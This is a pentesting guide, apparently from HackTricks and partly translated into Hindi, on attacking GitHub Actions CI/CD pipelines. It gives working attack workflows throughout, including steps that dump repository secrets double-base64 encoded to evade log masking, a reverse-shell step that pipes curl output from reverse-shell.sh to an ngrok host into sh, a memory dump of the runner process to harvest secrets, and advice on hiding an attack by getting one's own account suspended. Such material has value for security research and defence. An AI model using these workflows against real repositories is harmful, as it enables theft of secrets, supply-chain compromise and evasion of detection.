# Abusing Github Actions {{#include ../../../banners/hacktricks-training.md}} ## टूल्स The following tools are useful to find Github Action workflows and even find vulnerable ones: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) - [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) ## मूल जानकारी इस पृष्ठ में आप पाएँगे: - किसी attacker द्वारा Github Action तक पहुँचने पर होने वाले **सभी प्रभावों का सारांश** - एक action तक पहुँचने के विभिन्न तरीके: - action बनाने की **permissions** होना - **pull request** संबंधित triggers का दुरुपयोग - अन्य **external access** तकनीकों का दुरुपयोग - पहले से compromised repo से **Pivoting** - अंत में, action के अंदर से दुरुपयोग करने के लिए **post-exploitation techniques** के बारे में एक सेक्शन (जो ऊपर बताए गए प्रभावों का कारण बनते हैं) ## प्रभावों का सारांश For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: - pipeline में mounted **secrets** चुरा सकते हैं और बाहरी प्लेटफ़ॉर्म्स, जैसे AWS और GCP तक unauthorized access पाने के लिए pipeline के privileges का **abuse** कर सकते हैं। - deployments और अन्य **artifacts** को compromise कर सकते हैं। - यदि pipeline assets को deploy या store करती है, तो आप final product में बदलाव कर सकते हैं, जिससे supply chain attack संभव हो जाता है। - custom workers में code execute करके computing power का दुरुपयोग कर सकते हैं और अन्य सिस्टमों की ओर pivot कर सकते हैं। - `GITHUB_TOKEN` से जुड़ी permissions के आधार पर repository के code को overwrite कर सकते हैं। ## GITHUB_TOKEN This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] > Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) Note that the token **expires after the job has completed**.\ These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` Some interesting things you can do with this token: {{#tabs }} {{#tab name="Merge PR" }} ```bash # Merge PR curl -X PUT \ https://api.github.com/repos///pulls//merge \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header "content-type: application/json" \ -d "{\"commit_title\":\"commit_title\"}" ``` {{#endtab }} {{#tab name="Approve PR" }} ```bash # Approve a PR curl -X POST \ https://api.github.com/repos///pulls//reviews \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header 'content-type: application/json' \ -d '{"event":"APPROVE"}' ``` {{#endtab }} {{#tab name="Create PR" }} ```bash # Create a PR curl -X POST \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header 'content-type: application/json' \ https://api.github.com/repos///pulls \ -d '{"head":"","base":"master", "title":"title"}' ``` {{#endtab }} {{#endtabs }} > [!CAUTION] > ध्यान दें कि कई मौकों पर आप **github user tokens inside Github Actions envs or in the secrets** पा सकते हैं। ये tokens आपको repository और organization पर अधिक privileges दे सकते हैं।
Github Action output में secrets सूचीबद्ध करें ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
secrets के साथ reverse shell प्राप्त करें ```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
## अनुमत निष्पादन > [!NOTE] > This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. > > यदि आप इस परिदृश्य में हैं तो आप बस [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) देख सकते हैं। ### Repo Creation से निष्पादन यदि किसी संगठन के सदस्य **create new repos** कर सकते हैं और आप github actions चला सकते हैं, तो आप **create a new repo and steal the secrets set at organization level** कर सकते हैं। ### New Branch से निष्पादन यदि आप किसी repository में **create a new branch in a repository that already contains a Github Action** configured कर सकते हैं, तो आप इसे **modify** कर सकते हैं, content को **upload** कर सकते हैं, और फिर उस action को **execute that action from the new branch** कर सकते हैं। इस तरह आप **exfiltrate repository and organization level secrets** कर सकते हैं (लेकिन आपको पता होना चाहिए कि उन्हें क्या कहा जाता है)। > [!WARNING] > Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions. आप संशोधित action को **manually,** जब **PR is created** या जब **some code is pushed** के समय executable बना सकते हैं (निर्भर करता है कि आप कितना noisy होना चाहते हैं): ```yaml on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - master push: # Run it when a push is made to a branch branches: - current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` --- ## Forked निष्पादन > [!NOTE] > अलग-अलग ट्रिगर्स हैं जो एक attacker को **किसी अन्य रिपॉज़िटरी के Github Action को execute** करने की अनुमति दे सकते हैं। अगर उन triggerable actions को ठीक से configured नहीं किया गया है, तो एक attacker उन्हें compromise कर सकता है। ### `pull_request` The workflow trigger **`pull_request`** हर बार workflow को execute करेगा जब एक pull request प्राप्त होता है, कुछ exceptions के साथ: डिफ़ॉल्ट रूप से अगर यह आपकी **पहली बार** collaboration है, तो किसी **maintainer** को workflow के **run** को **approve** करना होगा:
> [!NOTE] > चूंकि यह **default limitation** **first-time** contributors के लिए है, आप एक वैध bug/typo fix करके contribute कर सकते हैं और फिर अपने नए `pull_request` privileges का दुरुपयोग करने के लिए **other PRs** भेज सकते हैं। > > **मैंने इसे टेस्ट किया और यह काम नहीं करता**: ~~एक और विकल्प यह होगा कि उस व्यक्ति के नाम से एक account बनाया जाए जिसने प्रोजेक्ट में योगदान दिया था और फिर उसने अपना account delete कर दिया था।~~ Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. एक attacker Github Action की definition को modify करके arbitrary चीज़ें execute करने और arbitrary actions जोड़ने की कोशिश कर सकता है। हालांकि, उपरोक्त सीमाओं के कारण वह secrets चोरी नहीं कर पाएगा और repo को overwrite नहीं कर पाएगा। > [!CAUTION] > **हाँ, अगर attacker ने PR में उस github action को बदल दिया है जो trigger होगा, तो उसका Github Action ही उपयोग किया जाएगा न कि origin repo का!** क्योंकि attacker उस code को भी control करता है जो execute हो रहा है, भले ही `GITHUB_TOKEN` पर secrets या write permissions न हों, attacker उदाहरण के लिए **upload malicious artifacts** कर सकता है। ### **`pull_request_target`** The workflow trigger **`pull_request_target`** को target repository पर **write permission** और **access to secrets** मिलता है (और यह permission नहीं मांगता)। ध्यान दें कि workflow trigger **`pull_request_target`** **base context** में चलता है और PR द्वारा दिए गए context में नहीं (ताकि **untrusted code** execute न हो). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). यह ऐसा लग सकता है कि क्योंकि **executed workflow** वही है जो **base** में defined है और **PR** में नहीं, इसलिए **`pull_request_target`** का उपयोग सुरक्षित है, पर कुछ मामले ऐसे हैं जहाँ यह सुरक्षित नहीं होता। और इस एक को **secrets** तक **access** होगा। ### `workflow_run` The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger आपको एक workflow को दूसरे workflow से चलाने की अनुमति देता है जब वह `completed`, `requested` या `in_progress` हो। In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: ```yaml on: workflow_run: workflows: [Run Tests] types: - completed ``` Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. इस तरह के workflow पर हमला किया जा सकता है अगर यह किसी ऐसे **workflow** पर **depend** करता है जिसे बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **trigger** किया जा सकता है। कुछ कमजोर उदाहरण [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण इस तरह का है कि **`workflow_run`** द्वारा ट्रिगर किया गया workflow attacker का code डाउनलोड कर रहा है: `${{ github.event.pull_request.head.sha }}`\ दूसरा उदाहरण इसमें है कि **untrusted** code से एक **artifact** को **`workflow_run`** workflow को पास किया जाता है और उस artifact की सामग्री का उपयोग इस तरह किया जाता है कि यह **vulnerable to RCE** बन जाता है। ### `workflow_call` TODO TODO: Check if when executed from a `pull_request` the used/downloaded code if the one from the origin or from the forked PR ## Abusing Forked Execution हमने उन सभी तरीकों का ज़िक्र किया है जिनसे एक बाहरी attacker किसी github workflow को execute करने में कामयाब हो सकता है, अब आइए देखें कि ये executions, अगर गलत तरीके से configured हों, तो किस तरह दुरुपयोग किए जा सकते हैं: ### Untrusted checkout execution In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request). In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. > [!CAUTION] > However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. > [!WARNING] > A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). ### Context Script Injections Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} ### **GITHUB_ENV Script Injection** From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
### Dependabot and other trusted bots As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in: ```yaml on: pull_request_target jobs: auto-merge: runs-on: ubuntu-latest if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. -> यह समस्या है क्योंकि `github.actor` फ़ील्ड उस उपयोगकर्ता को दर्शाता है जिसने workflow को ट्रिगर करने वाला नवीनतम इवेंट उत्पन्न किया। And There are several ways to make the `dependabot[bot]` user to modify a PR. For example: -> और `dependabot[bot]` user को PR modify करने के कई तरीके हैं। उदाहरण के लिए: - Fork the victim repository - Add the malicious payload to your copy - Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code. - Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet) - Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate` - Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs). Moving on, what if instead of merging the Github Action would have a command injection like in: -> आगे बढ़ते हुए, क्या होगा अगर merge करने के बजाय Github Action में इस तरह का command injection हो: ```yaml on: pull_request_target jobs: just-printing-stuff: runs-on: ubuntu-latest if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` ठीक है, मूल ब्लॉगपोस्ट इस व्यवहार का दुरुपयोग करने के लिए दो विकल्प प्रस्तावित करती है, जिनमें से दूसरा है: - Fork the victim repository और Dependabot को किसी outdated dependency के साथ enable करें। - एक नया branch बनाएं जिसमें malicious shell injection code हो। - repo का default branch उस branch में बदल दें - इस branch से victim repository में एक PR बनाएं। - Run `@dependabot merge` in the PR Dependabot opened in his fork. - Dependabot आपकी forked repository के default branch में अपने changes merge कर देगा, victim repository में PR को update कर देगा, अब `dependabot[bot]` उस latest event का actor बन जाएगा जिसने workflow को trigger किया और malicious branch name का उपयोग करेगा। ### कमज़ोर तृतीय-पक्ष Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. समस्या यह है कि अगर **`path`** parameter सेट नहीं है, तो artifact वर्तमान directory में extract हो जाता है और यह उन फ़ाइलों को overwrite कर सकता है जिन्हें बाद में workflow में इस्तेमाल या execute किया जा सकता है। इसलिए, अगर Artifact vulnerable है, तो attacker इसका दुरुपयोग करके उस Artifact पर भरोसा करने वाले अन्य workflows को compromise कर सकता है। कमज़ोर workflow का उदाहरण: ```yaml on: workflow_run: workflows: ["some workflow"] types: - completed jobs: success: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: download artifact uses: dawidd6/action-download-artifact with: workflow: ${{ github.event.workflow_run.workflow_id }} name: artifact - run: python ./script.py with: name: artifact path: ./script.py ``` इसे इस workflow के साथ हमला किया जा सकता है: ```yaml name: "some workflow" on: pull_request jobs: upload: runs-on: ubuntu-latest steps: - run: echo "print('exploited')" > ./script.py - uses actions/upload-artifact@v2 with: name: artifact path: ./script.py ``` --- ## Other External Access ### Deleted Namespace Repo Hijacking अगर कोई account अपना नाम बदलता है तो कुछ समय बाद कोई और user उसी नाम के साथ account register कर सकता है। अगर किसी repository के पास नाम बदलने से पहले **100 से कम stars** थे, तो Github नए registered user को वही नाम देकर हटाए गए repository के समान **repository with the same name** बनाने की अनुमति देगा। > [!CAUTION] > इसलिए यदि कोई action किसी non-existent account के repo का उपयोग कर रहा है, तो यह अभी भी संभव है कि एक attacker वह account बना ले और action को compromise कर दे। यदि अन्य repositories इस user के repos से **dependencies** उपयोग कर रहे थे, तो attacker उन्हें hijack कर पाएगा। यहां एक अधिक विस्तृत explanation है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] > इस सेक्शन में हम उन techniques के बारे में बात करेंगे जो हमें पहले repo पर किसी तरह की access होने की स्थिति में एक repo से दूसरे repo में **pivot** करने की अनुमति देंगी (पिछले सेक्शन को देखें)। ### Cache Poisoning एक cache उसी branch में चलने वाले **workflow runs** के बीच maintained रहती है। इसका मतलब है कि अगर कोई attacker किसी **package** को compromise कर देता है जो cache में store हो जाता है और बाद में किसी **more privileged** workflow द्वारा **downloaded** और execute किया जाता है, तो वह उस workflow को भी **compromise** कर सकेगा। {{#ref}} gh-actions-cache-poisoning.md {{#endref}} ### Artifact Poisoning Workflows अन्य workflows और यहां तक कि repos से भी **artifacts** उपयोग कर सकते हैं; अगर कोई attacker उस Github Action को **compromise** कर ले जो कोई **artifact upload** करता है और वह बाद में किसी दूसरे workflow द्वारा उपयोग किया जाता है, तो वह अन्य workflows को भी **compromise** कर सकता है: {{#ref}} gh-actions-artifact-poisoning.md {{#endref}} --- ## Post Exploitation from an Action ### Github Action Policies Bypass जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) में बताया गया है, भले ही किसी repository या organization के पास कुछ actions के उपयोग को सीमित करने वाली policy हो, एक attacker बस workflow के अंदर action को `git clone` करके download कर सकता है और फिर उसे local action के रूप में reference कर सकता है। चूंकि policies local paths को प्रभावित नहीं करतीं, **the action will be executed without any restriction.** Example: ```yaml on: [push, pull_request] jobs: test: runs-on: ubuntu-latest steps: - run: | mkdir -p ./tmp git clone https://github.com/actions/checkout.git ./tmp/checkout - uses: ./tmp/checkout with: repository: woodruffw/gha-hazmat path: gha-hazmat - run: ls && pwd - run: ls tmp/checkout ``` ### OIDC के माध्यम से AWS और GCP तक पहुँच Check the following pages: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} ### secrets तक पहुँच यदि आप किसी script में content inject कर रहे हैं, तो यह जानना उपयोगी है कि आप secrets तक कैसे पहुँच सकते हैं: - यदि secret या token **environment variable** में सेट है, तो इसे **`printenv`** का उपयोग करके environment से सीधे एक्सेस किया जा सकता है।
Github Action output में secrets की सूची ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
secrets के साथ reverse shell प्राप्त करें ```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
- यदि secret को **directly in an expression** में उपयोग किया जाता है, तो जनरेट किया गया shell script **on-disk** पर स्टोर होता है और पहुँच योग्य होता है. - ```bash cat /home/runner/work/_temp/* ``` - JavaScript actions के लिए secrets को environment variables के माध्यम से भेजा जाता है - ```bash ps axe | grep node ``` - एक **custom action** के लिए, जोखिम इस बात पर निर्भर कर सकता है कि प्रोग्राम उस secret का उपयोग कैसे कर रहा है जो उसे **argument** से मिला है: ```yaml uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH_KEY }} ``` - secrets context के माध्यम से सभी secrets को enumerate करें (collaborator level). write access वाला contributor किसी भी branch पर workflow को modify करके सभी repository/org/environment secrets को dump कर सकता है. GitHub’s log masking से बचने के लिए double base64 का उपयोग करें और लोकल में decode करें: ```yaml name: Steal secrets on: push: branches: [ attacker-branch ] jobs: dump: runs-on: ubuntu-latest steps: - name: Double-base64 the secrets context run: | echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 ``` लोकल में decode करें: ```bash echo "ZXdv...Zz09" | base64 -d | base64 -d ``` Tip: परीक्षण के दौरान stealth के लिए, print करने से पहले encrypt करें (openssl GitHub-hosted runners पर पहले से इंस्टॉल होता है)। ### Self-hosted runners का दुरुपयोग पता लगाने का तरीका कि कौन से **Github Actions are being executed in non-github infrastructure** वह है Github Action configuration yaml में **`runs-on: self-hosted`** को search करना। **Self-hosted** runners को **extra sensitive information** तक पहुँच हो सकती है, अन्य **network systems** तक (vulnerable endpoints in the network? metadata service?) या, भले ही यह isolated हो और नष्ट कर दिया जाए, **एक से अधिक action एक साथ चल सकती हैं** और malicious one दूसरे action के **secrets** को चुरा सकती है। Self-hosted runners में यह भी संभव है कि आप **secrets from the \_Runner.Listener**\_\*\* process\*\* को प्राप्त कर सकें, जो किसी भी step पर workflows के सभी secrets को contain करेगा, उसके memory को dump करके: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry यह संभव है कि आप ऐसे Github actions बना सकें जो **Github के अंदर एक Docker image बनाकर उसे संग्रहित करें**.\ एक उदाहरण निम्न विस्तारयोग्य अनुभाग में दिया गया है:
Github Action Build & Push Docker Image ```yaml [...] - name: Set up Docker Buildx uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ```
जैसा कि आप पिछले कोड में देख सकते हैं, Github registry होस्ट किया गया है **`ghcr.io`**. repo पर read permissions वाले उपयोगकर्ता personal access token का उपयोग करके Docker Image डाउनलोड करने में सक्षम होंगे: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` फिर, उपयोगकर्ता **leaked secrets in the Docker image layers:** की खोज कर सकता है: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} ### Github Actions logs में संवेदनशील जानकारी यहाँ तक कि अगर **Github** actions logs में **secret values** को **detect** करने और उन्हें **avoid showing** करने की कोशिश भी करे, तब भी action के execution में उत्पन्न हुई **other sensitive data** छुपाई नहीं जाएगी। उदाहरण के लिए, एक JWT जो किसी secret value से signed है, तब तक छिपी नहीं जाएगी जब तक कि वह [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) न हो। ## अपने निशान छुपाना (Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) सबसे पहले, कोई भी PR जो उठाया गया है वह सार्वजनिक रूप से Github और target GitHub account दोनों पर स्पष्ट रूप से दिखाई देता है। GitHub में default रूप से, हम **can’t delete a PR of the internet**, पर एक ट्विस्ट है। जिन Github accounts को GitHub द्वारा **suspended** किया जाता है, उनके सभी **PRs are automatically deleted** कर दिए जाते हैं और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी activity छुपाने के लिए आपको या तो अपना **GitHub account suspended or get your account flagged** करवाना होगा। इससे GitHub पर आपकी सारी गतिविधियाँ इंटरनेट से छिप जाएंगी (basically remove all your exploit PR) एक organization GitHub पर अकाउंट रिपोर्ट करने में बहुत proactive रहती है। आपको बस Issue में “some stuff” शेयर करना है और वे सुनिश्चित कर देंगे कि 12 घंटे में आपका account suspended हो जाए :p और इस तरह आपका exploit GitHub पर invisible हो जाएगा। > [!WARNING] > किसी organization के लिए यह पता लगाने का единमात्र तरीका कि उन्हें target किया गया है, GitHub logs को SIEM से चेक करना है क्योंकि GitHub UI से PR हटा दिया जाएगा। ## References - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) {{#include ../../../banners/hacktricks-training.md}}